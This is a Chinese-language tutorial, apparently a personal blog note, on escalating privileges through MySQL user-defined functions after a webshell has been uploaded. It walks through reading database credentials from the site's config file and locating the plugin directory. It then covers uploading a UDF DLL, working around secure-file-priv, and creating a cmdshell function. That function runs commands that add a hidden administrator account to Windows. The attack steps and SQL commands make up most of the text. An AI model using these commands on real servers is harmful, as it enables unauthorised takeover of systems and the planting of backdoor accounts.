getshell后通过mysql数据库的UDF提权

前提:获得了数据库的用户名和密码为前提

原理以后更新

如何获得数据库的用户名:

一般当上传木马后,可以查找网站下的数据库的config文件,就能获得数据库账号密码。可以使用工具连接数据库。比如”db_config.php”

利用数据库的UDF提权:(user defined function:用户自定义函数)

udf属于版本提权,版本不同,方法有一些区别。
区别在于:生成的udf文件保存的目录不一样。
mysql<5.1 生成的路径放在c://windows/system32/ mysql>=5.1 生成的udf放在:mysql的安装目录下的/lib/plugin目录下

可以使用:

mysql的安装目录下的/lib/plugin目录如何通过数据库寻找?
select version();查看数据库版本信息。
select @@plugin_dir;
结果: C:\phpstudy\MySQL\lib\plugin\

准备提权脚本:

将提权脚本放在服务器上,通过绕过上传或者木马连接工具上传,然后进行访问,输入信息后。
会生成一个dll文件。
C:/phpstudy/MySQL/lib/plugin//moonudf.dll
自动会生成一个脚本

error:

The MySQL server is running with the –secure-file-priv option so it cannot execute this statement
可以使用:
show variables like ‘%secure%’;
查看 secure-file-priv 当前的值是什么
如果secure-file-priv是空,需要到mysql.ini中修改配置文件,直接设置为=就行了。

继续点击导出udf:

如果出现导出失败,可能是因为没有plugin这个路径,创建一个plugin就行了
C:/phpstudy/MySQL/lib/plugin//moonudf.dll

创建cmdshell:

在下方的自带命令中执行这个,即可创建类似于执行shell一个功能。实验可以查看用户。也可使用这个命令继续做一些别的命令,信息收集,就类似于获得了shell。
在这个地方执行添加超级管理员用户:
select cmdshell(‘net user $darkmoon 123456 /add & net localgroup administrators $darkmoon /add’)
但是使用net user发现并没有出现我预想的结果
前往phpmyadmin进行操作

phpmyadmin:

在phpmyadmin中使用这个创建的函数cmdshell进行操作创建
select cmdshell(‘net user test 123456 /add’)
select cmdshell(‘net localgroup administrators test /add’)

如果没有数据库提权的脚本,就需要上传dll文件,创建一个function进行使用

create function cmdshell returns string soname ‘xxxx.dll’;
select cmdshell(‘net user test 123456 /add’)
select cmdshell(‘net localgroup administrators test /add’)

error:

又是一个问题,出现无法创建用户的情况。即使是我使用phpmyadmin我也是无法创建了用户,根本原因是系统设置时密码不符合要求,要有一定强度的密码才算是成功。所以我们使用了一个相对强度高的密码就可以了。

以后研究mof提权,反弹端口链接提权,webshell提权,sql注入提权,web中间件漏洞提权,操作系统提权。